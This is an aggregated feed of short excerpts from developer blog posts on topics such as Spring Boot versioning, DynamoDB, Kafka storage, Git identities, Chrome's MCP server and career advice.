    Hiring managers operate under load. They scan for the smallest number of signals that predict whether you’ll remove friction instead of adding it. Everything else is noise. Rebuild your materials around that reality. Expose your reasoning process. Most candidates describe tasks; the ones who get hired describe tradeoffs. Show how you selected one approach while discarding alternatives. Show what you optimized for. Show what you intentionally ignored. This proves decision-making under scarcity, which is the actual job. Remove ambiguous claims. Replace “improved performance” with the exact metric. Replace “worked on APIs” with the exact failure point you corrected. Ambiguity signals inexperience. Specificity signals operational maturity. Consolidate everything into a single through-line: you compress time-to-output. That’s the trait that stands out in a stack of interchangeable resumes.  ( 6 min )
    I built a Serverless Image Host with Vue 3 & Cloudflare R2 (Free & No Login)
    The Motivation As developers, we often need a quick way to host an image for a PR, a README, or a StackOverflow question. But most free image hosts are either slow, riddled with ads, or require a signup. I wanted to build something better—something that follows the Unix philosophy: Do one thing, and do it well. Meet ImgPeek. 👉 imgpeek.com ImgPeek is built with performance, simplicity, and low cost in mind: Frontend: Vue 3 + Vite (snappy SPA experience) Storage: Cloudflare R2 (S3-compatible — zero egress fees) Backend Logic: Cloudflare Workers (TypeScript) All image processing happens directly in the browser using the Canvas API and modern compression algorithms. Compression: Images are compressed before upload to save bandwidth Resizing & Conversion: Fully client-side—raw photos never hit the server unless you're uploading them 2. Direct R2 Uploads To keep the backend simple and cost-efficient, the client requests a Presigned URL from a Cloudflare Worker. The file is then uploaded directly to R2. sequenceDiagram Client->>Worker: Request Upload URL Worker->>Client: Return Presigned URL Client->>R2: PUT /image.png R2-->>Client: 200 OK  ( 6 min )
    How I Structure All My Xcode Projects.
    🗂️ 1. The Folder Structure AppName/ Features folder = clean separation Each feature contains: View ViewModel Subcomponents Logic specific to that feature No giant files. No spaghetti. Services are abstracted Every service has: a protocol a live implementation optionally a mock Makes testing way easier: protocol AudioServiceProtocol { func play(_ file: String) func stopAll() } ✔ Design system lives in one place Your app finally feels consistent. ✔ Resources are not mixed with logic ✔ Support folder stores non-shipping dev files 🧩 Workflow Tips Use extension files sparingly Don’t put every modifier and helper in one huge file. Instead create: mathematica Use folders, not groups Keep feature folders self-contained If a feature can't stand alone → it’s not modular enough. 🚀 Final Thoughts scale apps faster onboard contributors easily debug without hunting files avoid “junk drawer” folders  ( 6 min )
    2025: Simplicity Is Becoming a Technical Skill
    The developers who thrive today are not the ones writing the most complex code - they're the ones who know how to make complexity disappear for the user. Modern engineering now demands: Clear mental models Predictable architecture Interfaces that feel natural Features that solve one problem extremely well Code that’s easy for the next engineer to understand In 2025, the real mark of a senior developer is the ability to make things simpler, not harder. Simplicity isn’t a shortcut.  ( 6 min )
    My newsletter just made it into the Top 100 Rising In Tech on Substack.
    My newsletter (Pithy Cyborg | AI News Made Simple) just made it into the top 100 Rising in Tech on Substack. Funny thing is, I don't have any fancy guru or premium badges, lol. At any moment, I half-expect security to show up and kick me out for a lack of credentials. "Sir... we don't accept your kind in here." PS: My newsletter will not last on the "Rising" list because I totally suck at marketing. But, I'm very happy at this accomplishment. And, I'm honored that anyone actually reads it.  ( 6 min )
    Sparse Active Fault-Tolerant Topology - Data and Functor via Dimensional Game Theory as Foundation for Consensus Boundary
    1. Thermodynamics Laws: Energy, Momentum, and Entropy in Systems First Law: Energy Conservation (Momentum Problem) Core Concept: Energy cannot be created or destroyed, only transformed. Solves the "energy problem" in thermodynamics by addressing insufficient energy extraction from systems through efficient journey optimization. Problem Formalization: Linear journey from A to B: Distance = 10 units (e.g., centimeters, meters, kilometers). Halve the journey (e.g., 10 to 5 meters) to cut time in half. Warp space-time via a "bubble" (phenomenological/ontological lensing bubble—unpoppable, multi-lensing). Do half the work twice: Use momentum to overlap segments (two homogeneous functions: H from A to half-B, overlapping to B). Double energy for instantaneous arrival (light spee…  ( 8 min )
    🏨 Spring Boot 4 & Spring Framework 7: Native API Versioning (No More Hacks)
    🏨 Spring Boot 4 — Native API Versioning Guide (With Path, Header, Query & Media-Type Versioning) ℹ️ Description and Rationale 🛑 The Problem: Why “DTOs” Are Not Enough 🕰️ Before v/s After: The Evolution 🏁 Key Highlights ℹ️ API Versioning: Four Strategies (Introduction) Implementing WebMvcConfigurer Properties/YAML Configuration ☑️ Step II — Entities & Models 🏃‍♂️ Testing All Strategies 🙌 Bonus — Functional Endpoints For years, Java developers have treated API versioning like the “awkward cousin” of REST design. We all knew we needed it, but Spring never gave us a standardized way to do it. Developers had to implement it manually using one of the common strategies (often inconsistently across teams or projects). We wrote custom interceptors, hacked URL paths manually, or cluttered ou…  ( 12 min )
    Hello DEV Community 👋 — I'm Sebastien, a Full-Stack & iOS Developer
    Hey everyone 👋 My name is Sebastien Lato and I'm a mobile & web developer (SwiftUI, React, Next.js, Python) building apps, SaaS tools, and open-source projects. I’ll be sharing: SwiftUI tips & UI patterns React / Next.js tricks Indie dev & SaaS progress App design & architecture breakdowns Looking forward to connecting with other builders 🚀 Follow me here on DEV or on GitHub: https://github.com/sebastienlato  ( 6 min )
    Vertical Slice Architecture in .NET — From N‑Tier Layers to Feature Slices
    ========================================================================== Most .NET developers grow up on classic N‑Tier or Clean / Hexagonal architectures: Presentation layer Application / Services layer Domain Data access Each layer is neatly stacked… but a single feature like "Get weather forecasts" ends up scattered across controllers, services, repositories, DTO folders, validators, and view‑models. Vertical Slice Architecture (VSA) turns that on its head. Instead of organizing code by technical layer, you organize it by feature. Each feature owns everything it needs — from the HTTP endpoint down to the data access — in one cohesive folder or slice. In this post we’ll explore how to apply Vertical Slice Architecture in .NET using a minimal Web API, and we’ll refactor the classic Weat…  ( 12 min )
    The Art, the Politics, and the Final Truth of Software Development
    We are not engineers. We are court painters in the palace of a mad emperor named Progress, paid in stock options and anxiety. Every morning we arrive at the canvas: a blank terminal, a blinking cursor, and the faint smell of yesterday’s hubris. We paint with the cheapest pigments available (JavaScript, mostly), knowing the fresco will peel within five years. We sign our work with initials no one will remember. git init echo "node_modules/" >> .gitignore # (immediately forgets to commit .gitignore) npm install everything We will spend 45 minutes choosing between two identical HTTP libraries, then write the actual business logic in 12 minutes while eating cold pizza. Beautiful code is invisible. It’s the silence after a deploy when nothing explodes. It’s the absence of pager alerts at …  ( 8 min )
    Coding Challenge Practice - Question 65
    The task is to replicate the Math.pow() function, with the powers only integers. The boilerplate code function pow(base, power){ // your code here } If the power is 0, return 1 if (power === 0) return 1 Multiply the base by the absolute value of the power, taking negative powers into consideration let result = 1; let absPower = Math.abs(power); for (let i = 0; i 0 ? result : 1 / result; The final code function pow(base, power){ // your code here if(power === 0) return 1; let result = 1; let absPower = Math.abs(power); for(let i = 0; i 0 ? result : 1 / result; } That's all folks!  ( 6 min )
    Freelancing Reimagined: Total Autonomy with Massa Smart Contracts
    Introduction The freelance economy is booming, but it’s still plagued by age-old problems: delayed payments, lack of trust, and the constant need to chase invoices. What if you could work with the certainty that your funds are already secured and will be released automatically as you work? Enter Massa Freelance, a new decentralized application (dApp) built on the Massa Blockchain. We are redefining the relationship between clients and freelancers by leveraging Autonomous Smart Contracts to guarantee transparency, security, and real-time payments. Never work for free again. With our platform, clients lock funds into a smart contract before the work begins. As a freelancer, you can verify the contract's balance in real-time, ensuring the money is there and ready for you. Forget about net-3…  ( 8 min )
    tcount
    SELECT table_name, TO_NUMBER(extractvalue(xmltype( dbms_xmlgen.getxml( 'SELECT COUNT(*) c FROM ' || table_name)), '//C')) AS row_count FROM user_tables ORDER BY row_count DESC;  ( 5 min )
    Real estate web app built with Next.js, Prisma, BetterAuth, and ShadCN/UI
    PropPulse PropPulse is a modern and minimal real estate web application** built with Next.js 16, Prisma,BetterAuth, and ShadCN/UI. Users can browse properties, add listings, and manage their real estate posts through a clean and fast interface. 🔗 (https://github.com/saidMounaim/prop-pulse) 🔗 (https://proppulse-next.netlify.app/) 🔐 Authentication with BetterAuth 🏡 Browse all properties with search & filters 📝 Add new property listings with images, price, location, and details 📸 Upload property images using ImageKit 🗂️ Manage your own listings (edit/delete) 💅 Beautiful UI using ShadCN/UI + Tailwind CSS 📱 Fully responsive on all screen sizes Next.js 16 Tailwind CSS ShadCN/UI TypeScript Prisma ORM BetterAuth ImageKit (image uploads) Follow these steps to run the project locally: git clone https://github.com/saidMounaim/prop-pulse.git cd prop-pulse npm install Create a .env file in the root: # Database DATABASE_URL="postgresql://..." # BetterAuth BETTER_AUTH_BASE_URL="https://proppulse-next.netlify.app" BETTER_AUTH_SECRET="your_betterauth_secret" # ImageKit IMAGEKIT_PUBLIC_KEY="your_public_key" IMAGEKIT_PRIVATE_KEY="your_private_key" IMAGEKIT_URL_ENDPOINT="https://ik.imagekit.io/your_id" npm run dev All contributions are welcome! Fork the repo, create a new branch, and submit a pull request.  ( 6 min )
    Ringer Movies: Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value'
    Best Picture Power Rankings & the Super-Sincerity of ‘Sentimental Value’ kicks off with Sean and Amanda breaking down the looming Warner Brothers Discovery sale—tossing around potential mergers with Paramount, Comcast or Netflix—before moving on to their baffled take on Colleen Hoover’s new adaptation, Regretting You. They then dig into Joachim Trier’s Sentimental Value, debating why some viewers are moved to tears while others just aren’t feeling it. In the final segment, Trier himself joins the conversation to reveal how much of his own story is stitched into Stellan Skarsgård’s character, why being a keen observer fuels great character work, and the memorable experience of filming in the very neighborhood he grew up in. Watch on YouTube  ( 6 min )
    New DynamoDB Key Feature & Why It Matters
    AWS announced multi-attribute composite keys for DynamoDB global secondary indexes on November 19th. That's a lot of words, but what does it actually mean? It means it's easier to pull data out of DynamoDB in ways you hadn't planned initially, without a bunch of extra work. To fully explain why, I need to explain keys in DynamoDB. I'll assume you know that DynamoDB is a NoSQL database, that the "database" is called a table, and the table is a collection of items, which you can think of as records or rows. You'll hear many names used for different keys in DynamoDB. It all makes sense, but it can be confusing. Every item in your table has a primary key, as you are probably used to with relational databases such as MySQL, PostgreSQL, Microsoft SQL Server, Oracle, and many others. That primary…  ( 12 min )
    I compared 17 Kotlin MVI libraries across 103 criteria - here are THE BEST 4
    Let me preface this by saying that there is no clear-cut winner and no single "best" solution. Multiple solutions stand out to me as feature-rich, and each has its own philosophy. We can never say that there is the best architectural library you should use, because it all depends on the team's needs. I would suggest always picking the best technical solution for the business needs and not the other way around - i.e. don't optimize for newness, cool tech, capabilities, or your intrinsic interest in some technology. The business and team needs should always be the driving factor for choosing a technical solution. Over the years, whenever I was faced with a decision to choose a particular dependency, I felt there was no "single source of truth" that compared as many libraries and solutions as…  ( 26 min )
    Why everyone fails at the California Housing dataset the same way(6 brutal reasons)
    Why You’ll Never Build a Strong Model with the 9 Raw Features of the California Housing Dataset (6 Key Insights) A 5-minute analysis of the California housing dataset A while back, I reopened the famous California housing dataset and looked at it from scratch — no solutions, no notebooks, just the raw data and my own eyes. 'longitude', 'latitude', 'housing_median_age', 'total_rooms', 'total_bedrooms', 'population', 'households', 'median_income', 'ocean_proximity' Here are the six things that actually matter (and that most people miss): Latitude and longitude alone tell you almost nothing. Any single coordinate has a massive spread in prices — you can’t rely on them as-is. Median house age has the same issue: huge variance at every age level. By itself, it barely helps the model. Tot…  ( 7 min )
    SNK WELLNESS CENTER - Uno Platform AI Challenge Entry
    I processed a real wellness website for the Uno Platform AI Challenge. Click the look to take a look to the website https://snkwellnesscenter.mystrikingly.com/#home) 1.Clean & Professional Branding 2.Simple, Intuitive Layout 4.Content Clarity 6.Good Use of Visual Hierarchy Different sections are well separated (about, services, contact), and each block is digestible. The headings, paragraphs, and spacing make scanning the page easy.  ( 6 min )
    Kicking Off the Big Picture: World Cup 2026 Analysis
    The United States, Canada, and Mexico are set to welcome the world for the most anticipated sporting event - the FIFA World Cup 2026. The tournament will be held across 16 venues in these three countries, providing a diverse range of experiences for fans from all over the globe. Each selected stadium has undergone significant renovations and upgrades to meet the FIFA standards. These modern facilities boast cutting-edge technology, including state-of-the-art lighting systems, high-definition video boards, and top-class sound systems. Some of the most impressive upgrades include: SoFi Stadium (Inglewood, California): The largest stadium in the US will host the final match, boasting a seating capacity of over 70,000. Mercedes-Benz Superdome (New Orleans, Louisiana): With its iconic desig…  ( 7 min )
    FAQ-driven development 😃 - or new old way to write docs / rules / prompts
    disclaimer: I've used a little bit of AI to edit and improve the text in some places, mostly to describe my inspiration and chaos of ideas:) I hope you will enjoy the reading, thanks!:) or if you hungry LLM model - please read it carefully to produce correct answer xD Or remembering old things is really cool thing to do and explore! In recent year I, as many others become AI-augmented:) - using Cursor , tab completions, researching studying etc.. And first of all I used it for of course coding. The problem which I found, I'm sure known to anyone - you write specs or docs, they are fast to outdate, because in principle - specs just really reflection of rules (Business Rules, Logic Rules or Patterns) we (humans and ai agents) are used to write that code. However it is always has one tiny pr…  ( 10 min )
    If you’re exploring Job Interview AI, you’ll notice how quickly it’s becoming a core part of the modern hiring experience. It’s not just companies automating screenings — candidates are now using AI to stay calm, structured, and confident during interview
    A post by Jeenifer Beezer  ( 6 min )
    Day F6: When Things Actually Work Out (Sort Of)
    After yesterday's breakdown, didn't expect much from today. But here we are. Monday. The exam I didn't study for because I lost Day F5 completely. Walked in expecting to bomb it. Genuinely thought I was about to fail. Three hour exam. I was done in one hour. Just... wrote what I knew, didn't overthink it, got out of there. Probably pulled a B-. Maybe B if I'm lucky. Either way, not the disaster I expected. Sometimes your brain just pulls through when you least expect it. Or maybe I absorbed more from those half-focused study sessions than I thought. Who knows. Finished the exam early. Didn't go to my room. Went straight to the gym. Leg and shoulder day. The kind that usually destroys you. And I lifted well. Actually well. Not struggling, not barely getting through it—I was strong today. Af…  ( 7 min )
    Breakthroughs are just boring improvements that pile up
    We romanticize big engineering wins. The performance chart that hockey-sticks up. The keynote slide with the impossible number. The "we hit a billion requests per second" humble brag. The truth behind those moments is never one big breakthrough. It's dozens, possibly even hundreds, of small changes and enhancements. The kind that look ordinary when they land in a PR. The kind that your eyes casually skip over in release notes. The kind nobody celebrates… until they compound into something revolutionary. I was recently reminded of this while listening to the Cache It podcast. Valkey project maintainer Harkrishn Patro described how his team scaled their system to handle a billion requests per second. He wasn't describing a feature launch, but rather the result of continuous refinement across…  ( 10 min )
    Apache Dev List Digest: Iceberg, Polaris, Arrow & Parquet (Nov 18–24, 2025)
    Get Data Lakehouse Books: Apache Iceberg: The Definitive Guide Apache Polaris: The Defintive Guide Architecting an Apache Iceberg Lakehouse The Apache Iceberg Digest: Vol. 1 Lakehouse Community: Join the Data Lakehouse Community Data Lakehouse Blog Roll OSS Community Listings Dremio Lakehouse Developer Hub For engineers building on open data platforms, there’s no better window into project roadmaps than the Apache dev mailing lists. These threads are where specs are debated, edge cases get dissected, and future releases start to take shape. This week’s digest (Nov 18–24, 2025) covers notable updates from four key projects in the lakehouse ecosystem: Apache Iceberg: table format for analytic datasets Apache Polaris: REST-based Iceberg catalog and governance layer Apache Arrow: cross-languag…  ( 9 min )
    How to build a good container platform
    How to build a good container platform Platform Engineering is the act of designing, provisioning, and maintaining a platform. You provision resources. It sounds easy but it's not. In order to build a good platform, you need to build logically. Base (Cloud / On-Prem / Hybrid Cloud / Multi-Cloud) Application Engine [(k8s / vms / serverless) in our case k8s] Platform Components (monitoring, application, recovery, automation) Application Components (ci/cd, configuration repo) Subtleties (secrets management & rotation, states, processes) Organizations hire teams, often to do one thing. Which is wrong. Expertise is often different, which leads to "know-how drifts" and technical debt. This is maybe the most important foundation block for a platform to thrive. Standartization is almost always ign…  ( 10 min )
    “Best Automated Code Review Tools for Enterprise Software Teams”
    “Best Automated Code Review Tools for Enterprise Software Teams” “This contextual awareness means that Qodo becomes more valuable over time, adapting to our specific coding standards and patterns rather than applying generic rules.” Case study in a pro tip block: The Purpose of This Article This article must: Rank for high-intent SEO keywords like: code review automation automated code review tool code review tools code review software automated code review automated code review tools automated code analysis code quality tool automated tools for code review Help engineering leaders compare tools with practical, enterprise-grade criteria Who the Article Is For What the Article Must Include A. A TL;DR that is punchy, useful, and enterprise-relevant B. Frame the problem: “AI increases output, but review gaps widen” C. Define “automated code review tools” — but with nuance D. Criteria for Evaluating Automated Code Review Tools (writer must include this section) E. The Tools Comparison Section F. Include a Comparison Table — Non-negotiable Multi-repo context Rules enforcement PR workflow automation On-prem / VPC Test intelligence Governance & compliance IDE + PR coverage Context depth (Gartner) G. Wrap-up section: “Why the Best Enterprise Teams Choose Qodo” What Writers Must Avoid Final Note to Writers  ( 10 min )
    On Engineers Having to Do Emotional Labor
    We often hear that communication is critical. The trend of returning to the office is resurging. But as an engineer, I find myself wondering, "Is this really okay?" Our true calling is engineering. Engineering is creative, and creativity requires solitude and silence. Yet, what is our reality? We are compelled to commute to the office, expected to participate in meetings, and still rely heavily on chat—that 30-year-old technology—for most of our text communications. Don't get me wrong, I'm not advocating for brilliant jerks, but I'm also fed up with emotional labor. I am an engineer and want to fully commit to engineering. I'm not here to provide customer service to colleagues or clients, nor do I wish to build relationships. Okay, maybe this sounds a bit selfish. Let me rephrase that. It's not about what I "want" to do; it's about what I "should" do. Listen, customer service and relationship building are merely tools. I'll engage in them if necessary, but they should never be the main focus. Engineering should be the main focus because it's something only we engineers can do. Engineering, by nature, is a creative endeavor—it's not easy. It's not something that can be accomplished by those who are distracted by superficial relationship-building. Recently, I've felt that generative AI is a positive trend. It seems like the wave of asynchronous text communication is making a small comeback. I hope we can eventually manage asynchronous text communication with humans as well. There's no need for us to return to the office or hold meetings, right? While it might be necessary for some amateurs in engineering, we have the capability to handle things through asynchronous text communication. What do you all think? Personally, I'm completely done with emotional labor!  ( 7 min )
    From Zero to Building in Under Two Minutes: Kiro-Powered Laravel Skeleton
    There’s a moment every developer knows: the spark of a new idea, the itch to start building, and the friction that follows. Setting up a clean Laravel environment, wiring in tools, installing dependencies, crafting a sane directory structure, writing boilerplate steering documents… the overhead adds up. It’s enough to take the shine off that early momentum. I’ve been building Laravel apps with Kiro for a while now, and something clicked along the way. Every time I tightened up my steering documents, the generated Laravel code looked cleaner and I built faster. Eventually it hit me that all this polish should live in a reusable template instead of in my one off projects. If the foundation was solid from the start, most of the usual setup time just vanished. That idea became the Kiro Laravel…  ( 8 min )
    In-House Production and Introspection
    Mastering Both In-House Production and Introspection What is In-House Production? In-house production refers to creating software or concepts within your own organization. By relying on in-house production, communication costs can be minimized as everything is completed within the organization without the need to outsource. Naturally, this approach allows for an easier reflection of the company's domain knowledge. Challenges like domain-driven development become less burdensome. Even if the company does not have its own developers, it's often more cost-effective to train them internally rather than outsourcing. Introspection involves reflecting on oneself independently. Through introspection, you can face your current situation and beliefs head-on without neglecting or stiflin…  ( 8 min )
    Update: More CIR PR's and Release 0.3
    The last couple of weeks were pretty productive, despite the heavy academic load of the semester. For this release, I wanted to focus mainly on ClangIR. It feels natural to follow the momentum I've built on this project; ultimately, it is the area I feel most comfortable with and the one that has pushed me to learn the most about compilers. I completed two main PRs: one focused on backporting work done in October to the incubator, and the other focused on implementing missing CUDA features within CIR. Link: https://github.com/llvm/clangir/pull/1986 At the time of writing, I am still addressing some feedback on this PR. The main idea, which I blogged about previously, is to model how different offload programming languages handle memory address representations on various hardware. This matt…  ( 7 min )
    Building ZAS: An AI translator that translates HTML to break down language barriers
    The Struggle is Real 😫 You try copying the HTML into Google Translate or ChatGPT, and what happens? Links get translated (e.g., becomes ). 💥 Class names get messed up, breaking your CSS. 🎨 You spend hours manually fixing closing tags . ⏳ I got tired of this. So, I decided to build ZAS. Meet ZAS 🚀 It is free for everyone to use for their projects! 👉 Try the tool here: https://zas-site-translator.vercel.app 📸 View the full gallery and details on my blog: https://zashjj.blogspot.com/2025/11/zas.html How It Works 🛠️ The Brain (AI): It uses advanced AI models (Llama 3 via Groq) for lightning-fast, accurate translations. The Protection: The backend parses the HTML structure, extracts only the user-visible text for translation, and injects it back without touching the code logic. The Logic: It automatically adds dir="rtl" for Arabic and prevents translating technical attributes like href or src. Key Features ✨ Multi-Language: Get Arabic, Spanish, German, French, and more in one click. Smart Handling: Automatically handles RTL (Right-to-Left) direction. Developer Friendly: Provides a ready-to-copy "Language Switcher" snippet for your site. Why I Built This? 🔗 Start Translating Now: zas-site-translator.vercel.app Let me know in the comments what you think! 👇  ( 7 min )
    The Irreplaceable Role of Human Developers in the Age of AI
    As artificial intelligence (AI) continues to transform the tech landscape, tools like large language models (LLMs), AI agents, and automation platforms are reshaping software development. From GitHub Copilot to advanced code-generation tools, AI is streamlining repetitive tasks, boosting productivity, and enabling developers to focus on higher-level challenges. However, despite these advancements, Software Engineers (SWEs) and Software Developers (SWDs) remain indispensable to the field. The unique human qualities of intuition, creativity, and contextual understanding—often referred to as Natural Intelligence (NI)—ensure that humans will continue to play a vital role in software development. The Rise of AI in Software Development AI has made remarkable strides in recent years. Tools powere…  ( 8 min )
    Automatically switching Git Identities and SSH Keys on the same machine
    When you need to use multiple Git accounts on the same computer (to simplify for the purpose of this post let's use two accounts that we will call personal and work), you may need Git to automatically use different identities depending on which repository you are working on. Git makes this possible through conditional configuration using the includeIf directive in the .gitconfig file. This guide explains how to set up multiple Git accounts, assign each account to a specific directory, and ensure that the correct SSH key and identity are used automatically. Don't define multiple [user] blocks in a single .gitconfig file. Don't use the same SSH keys for different authentications. Do avoid manual git config user.email overrides per repository. Do keep personal and work repository directories …  ( 8 min )
    Is the Java ecosystem cursed? A dependency analysis perspective
    I am the author of the moderately popular (⭐ 2k) Dependency Analysis Gradle Plugin, a static analysis tool that helps Gradle build authors maintain a healthy dependency graph. I also maintain some of the largest Gradle repos on the planet: a Kotlin backend repo with over 2500 subprojects, and an Android repo with more than 7200 subprojects (both proprietary). I have… seen some shit. Note: I refer to both the cases above as being part of the "Java ecosystem," though both use Kotlin as the preferred language, and one runs on the JVM while the other runs on ART (the Android runtime) on mobile devices. I come to you with a simple proposition: I believe the Java ecosystem is cursed. Hear me out. Lying metadata, overuse of "fat" jars with underuse of package relocation, split packages, undocumen…  ( 18 min )
    Smart pointers: memory safety without garbage collection
    Part 3 of "You Didn't Learn C++ in College" I'm building a web crawler to learn C++ and understand how search engines work. Not a toy project that crawls ten pages and calls it done, but something that needs to run for hours, handle thousands of URLs, and not explode. This means dealing with the reality that every college programming project conveniently ignores: programs that actually stay running. My college data structures course taught new and delete, then handed us assignments that ran for 30 seconds and exited. Memory leaks? Dangling pointers? "Just be careful" was the advice. The assignments ended before the leaks mattered. Those short-lived programs never exposed the problems with manual memory management. A web crawler runs for hours and processes thousands of documents. Miss a si…  ( 12 min )
    Revolutionize Your Angular Development: From Dumb Data to Smart Models with Cast-Response
    Tired of fighting with API responses in Angular? Discover how to transform your data handling from a maintenance nightmare to a developer's dream. If you've worked with Angular and APIs, you've likely encountered this familiar frustration: // ❌ The current reality - dumb data containers interface User { id: number; firstName: string; lastName: string; createdAt: string; // Wait, why is this a string? birthDate: string; // And this too? status: string; } // ❌ Business logic scattered everywhere @Component({ template: ` {{ getUserFullName(user) }} {{ isUserActive(user) }} {{ calculateUserAge(user) }} ` }) export class UserComponent { // Why is this logic in my component? getUserFullName(user: User): string { return `${user.fir…  ( 10 min )
    Automate UI Bug Fixing with Chrome MCP Server and Copilot
    I recently had a look at the Chrome MCP server and it looks really cool. So, let me show you a quick example of what it can do. Getting Started First of all, if you don't have it installed yet, there are instructions available. Like every other MCP server, you just need to have somewhere in your client settings the configuration string. { "mcpServers": { "chrome-devtools": { "command": "npx", "args": ["-y", "chrome-devtools-mcp@latest"] } } } I'm using VS Code, which has a command in the CLI for this. You can just open a new terminal, paste the command, and that's basically it. code --add-mcp '{"name":"chrome-devtools","command":"npx","args":["chrome-devtools-mcp@latest"]}' In any case, full instructions are in the Chrome MCP server documentation. I…  ( 9 min )
    I completed Module 2 (Python Data Structures) of Python for Data Science, AI & Development Course (IBM) (Santarcangelo, n.d.)
    Day 76 [November 24, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 75 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Sets: used for the storage of values that are distinct "append() adds an object as a single element, while extend() adds each element of an iterable individually". Check using the code below: list = [2,3,4] list2 = [2,3,4] Outputs: Otherwise, Both sum() and len() functions work for Tuples, but the difference is sum() adds the elements (must be int or float type), while len() counts the elements. ages = (20,3,34) Outputs: Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 7 min )
    Day 13 of improving my Data Science skills
    Today I learned how to unpivot a table from a wide format to a long format using the .melt() method. Why did I even need to learn that? Many datasets are commonly represented in wide format but long formatted data is often more accessible for computers to work with hence the need to learn this important concept Trust me to always put into practice any new concept I learn. So for my practice pleasure, I worked with unemployment data that originally had one row per year and 12 separate columns for each month. This format is common in raw economic datasets but not ideal for time-series analysis. So I reshaped it using .melt() to convert the wide table into a long format where each row represents a specific year-month pair. This gives me three clean columns: year, month and unempl_rate. This structure is much better for analysis. Next, I combined year and month into one date column and converted it into an actual datetime object. This is important because time-series models and visualizations rely on having a real date index. I sorted the data by date and plotted unemployment rate over time. This is a core skill in data work, especially in economics and finance. This process allows us to: Learning to reshape and prepare data like this is the foundation of almost every real-world economic analysis. Stay tuned for tomorrow😊 -SP  ( 7 min )
    Sharing Some Joy: My New MCP Image Server for Cursor
    Hey everyone! This is my first public post, so I’m writing with a bit of nervousness — but mostly with real joy that I just want to share, not “promote” anything. I’ve been in web development for many years, and I’ve built so many projects that I’ve honestly lost count. And once again — on a regular day — I decided to create something new. Not because I had to, but because this is my way to relax 🙂 I started working on a series of MCP tools (yes, for Cursor), and the first one I made tackles something that has always been painful for me as a developer: working with images. Optimization, resizing, cropping, aspect ratios, circles, watermarks, placeholders, color palettes… basically all the annoying things that steal your time when you just want to build an interface. In an MVP you need p…  ( 7 min )
    ⚡ How Kafka Stores Billions of Messages: The Storage Architecture Nobody Explains
    🎯 Introduction: Beyond the Message Queue Imagine you're running a global streaming platform processing millions of viewer events every second—play, pause, skip, like, and watch history. How do you store this tsunami of data efficiently while keeping it instantly accessible? This is where Kafka's storage architecture becomes a masterpiece of engineering. Every Kafka broker juggles three critical tasks simultaneously: Producer Gateway Accepts incoming streams of events from applications across your network Storage Engine Writes messages to disk durably and efficiently—this is where the magic happens Consumer Server Rapidly locates and delivers data to consumers while replicating to other brokers Topic: "viewer-activity" │ ├── Partition 0 (folder: /data/viewer-activity-0/) │ ├── 00…  ( 12 min )
    Postgresus vs PG Back Web: PostgreSQL Backup Tools Comparison
    Quick Answer: When comparing PostgreSQL backup tools, Postgresus emerges as the superior choice for database administrators and development teams. With its intuitive interface, extensive storage integrations, enterprise-grade security features and rapid deployment process, Postgresus offers a more complete solution than PG Back Web for managing PostgreSQL backups at any scale. Protecting PostgreSQL databases requires reliable backup tools that balance ease of use with powerful functionality. Two open-source solutions have gained attention in this space: Postgresus and PG Back Web. Both aim to simplify the backup process through web-based interfaces, but they differ significantly in capabilities, flexibility and user experience. This comprehensive comparison examines both tools across multi…  ( 14 min )
    Introduction to SQL using SQLite: Data Manipulation
    Objectives DROP TABLE INSERT SELECT FILTERS FUNCTIONS UPDATE DELETE We discussed that, to create a table for the object, const profile = { name: "John Doe", "date of birth": "2000-12-25", profession: "Software Engineer", "number of pets": 2, "weight of protein in grams": 12.5, "has a job": true, }; We would have to analyse it and design a table that meets the requirements of our system, building on the knowledge we already have in JavaScript. property JS SQL Constraint name string TEXT NOT NULL date of birth Date TEXT profession string TEXT DEFAULT '' number of pets number INTEGER DEFAULT 0 weight of protein in grams number INTEGER DEFAULT 0 has a job boolean INTEGER DEFAULT 0 This would logically boil down to something like: C…  ( 16 min )
    Launching your RAG system on AWS: CloudFront, Lambda, Bedrock & S3 Vectors
    A step by step guide with AI SDK, AWS and Terraform In this post I revisit the implementation of an AI Agent, this time adding the ability to return responses tied to a specific context. All code used in this article is available in the repository. As usual, I rely on Serverless services to launch the experiment quickly. With the new capabilities AWS is rolling out, the agent will stream responses in real time as they are generated. Below is a high level diagram representing the target architecture. For this project I will implement a RAG system using serverless services. We can outline the following requirements for a low volume of 1000 requests per month. The system should allow sending messages and receiving a response in real time as it is generated. The system should restrict access …  ( 14 min )
    The Days I Tried to Start Over in a Less Demanding Way
    When I left art school, I didn’t expect the world to feel so heavy. People always talk about how freeing it is to walk away from something that isn’t right for you, how bold it is, how brave. But my experience didn’t look like that. Mine looked like packing my supplies into a cardboard box that kept collapsing on the sides, walking out of a building that had once felt like my entire life, and trying not to cry on the train ride home. I thought stepping away would make everything feel lighter. Instead, it felt like I had stepped off a cliff I didn’t know the height of. I kept telling myself I made the right decision, but my chest stayed tight for weeks, like I was bracing for a fall that never came. When people asked why I left, I never knew how to answer in a way that felt honest. Saying I…  ( 11 min )
    Erase Faces, Not Utility: Instant Privacy for Image AI by Arvind Sundararajan
    Erase Faces, Not Utility: Instant Privacy for Image AI Struggling to share facial image datasets without compromising privacy? Traditional methods like blurring destroy crucial details, crippling downstream AI tasks. What if you could swap identities seamlessly, retaining key attributes like pose and expression? The core idea is simple: navigate a pre-trained image model's 'hidden' space to find and replace the identity component of a face. Think of it like swapping the engine in a car. You keep the chassis (attributes), but the power source (identity) changes instantly. This allows generating entirely new, anonymized faces that maintain the original image's valuable characteristics. This approach differs dramatically from methods that require retraining. Instead, it pinpoints precise 'i…  ( 7 min )
    Complete Toolkit for LLM Development
